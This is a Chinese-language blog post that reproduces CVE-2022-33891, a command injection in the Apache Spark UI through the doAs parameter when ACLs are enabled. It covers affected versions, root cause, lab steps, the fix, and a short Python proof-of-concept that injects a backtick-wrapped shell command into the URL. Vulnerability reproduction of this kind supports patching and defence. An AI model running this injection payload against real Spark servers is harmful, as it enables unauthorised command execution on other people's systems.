CVE-2022-33891 Apache Spark 命令注入复现

一、漏洞概述

      Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Spark是UC Berkeley AMP lab (加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架,Spark,拥有Hadoop MapReduce所具有的优点;但不同于MapReduce的是——Job中间输出结果可以保存在内存中,从而不再需要读写HDFS,因此Spark能更好地适用于数据挖掘与机器学习等需要迭代的MapReduce的算法。

二、影响版本

  • ≤3.0.3
  • 3.1.1 - 3.1.2
  • 3.2.0 - 3.2.1

三、漏洞原理

  Apache Spark UI 可以设置选项 spark.acls.enable 启用 ACL ,使用身份验证过滤器。用以检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL则 HttpSecurityFilter 中的代码路径可以允许用户通过提供任意用户名来执行命令。该功能最终将根据用户输入构建一个 Unix shell 命令并执行它,最终导致任意命令执行。——https://blog.csdn.net/qq_42660246/article/details/125902229

四、漏洞复现环境

OS:Kali Linux 

Apache Spark versions:3.0.3(https://archive.apache.org/dist/spark/spark-3.0.3/spark-3.0.3-bin-hadoop3.2.tgz)

五、实验步骤

1.下载Apache Spark 3.0.3,并解压

CVE-2022-33891 Apache Spark 命令注入复现_第1张图片

 2.启动 Apache spark 项目,访问页面(这里要启用spark.acls.enable)

./bin/spark-shell --conf spark.acls.enable=true

CVE-2022-33891 Apache Spark 命令注入复现_第2张图片

CVE-2022-33891 Apache Spark 命令注入复现_第3张图片

3.抓包,构造恶意请求,执行命令注入

CVE-2022-33891 Apache Spark 命令注入复现_第4张图片

4.回到“/”目录下,可以看到生成了新文件

CVE-2022-33891 Apache Spark 命令注入复现_第5张图片

六、修复方式

官方已发布新版本修复了该漏洞,请受影响的用户升级前请将资料备份,并进行充分测试到安全版本:https://github.com/apache/spark/tags

七、Poc

import requests
import argparse
import os

def exploit(url):
    url = "http://"+url+"/jobs/?doAs=`touch%20/wavesky.txt`"
    response = requests.get(url=url)
    if(response.status_code == 403):
        if(os.access("/wavesky.txt",os.F_OK)):
            print("It looks likely vulnerable")
            os.system('ls /')
            # If you don't want to save this file,please delete '#' in nextline
            # os.system('rm -rf /wavesky.txt') 
             
        else:
            print("It is strong")
    else:
        print("It is strong")


if __name__ == '__main__':
    parameter = argparse.ArgumentParser(description='Poc CVE-2022-33891:')
    parameter.add_argument('-file',help='url file',required=False)
    parameter.add_argument('-url',help='ip:port',required=False)
    para = parameter.parse_args()

    if para.url:
        exploit(para.url)
        exit()
    else:
        parameter.print_help()

 Github——Poc/Poc_CVE-2022-33891.py at main · wave-to/Poc · GitHub

你可能感兴趣的:(漏洞复现,POC,apache,spark,大数据,web安全,安全)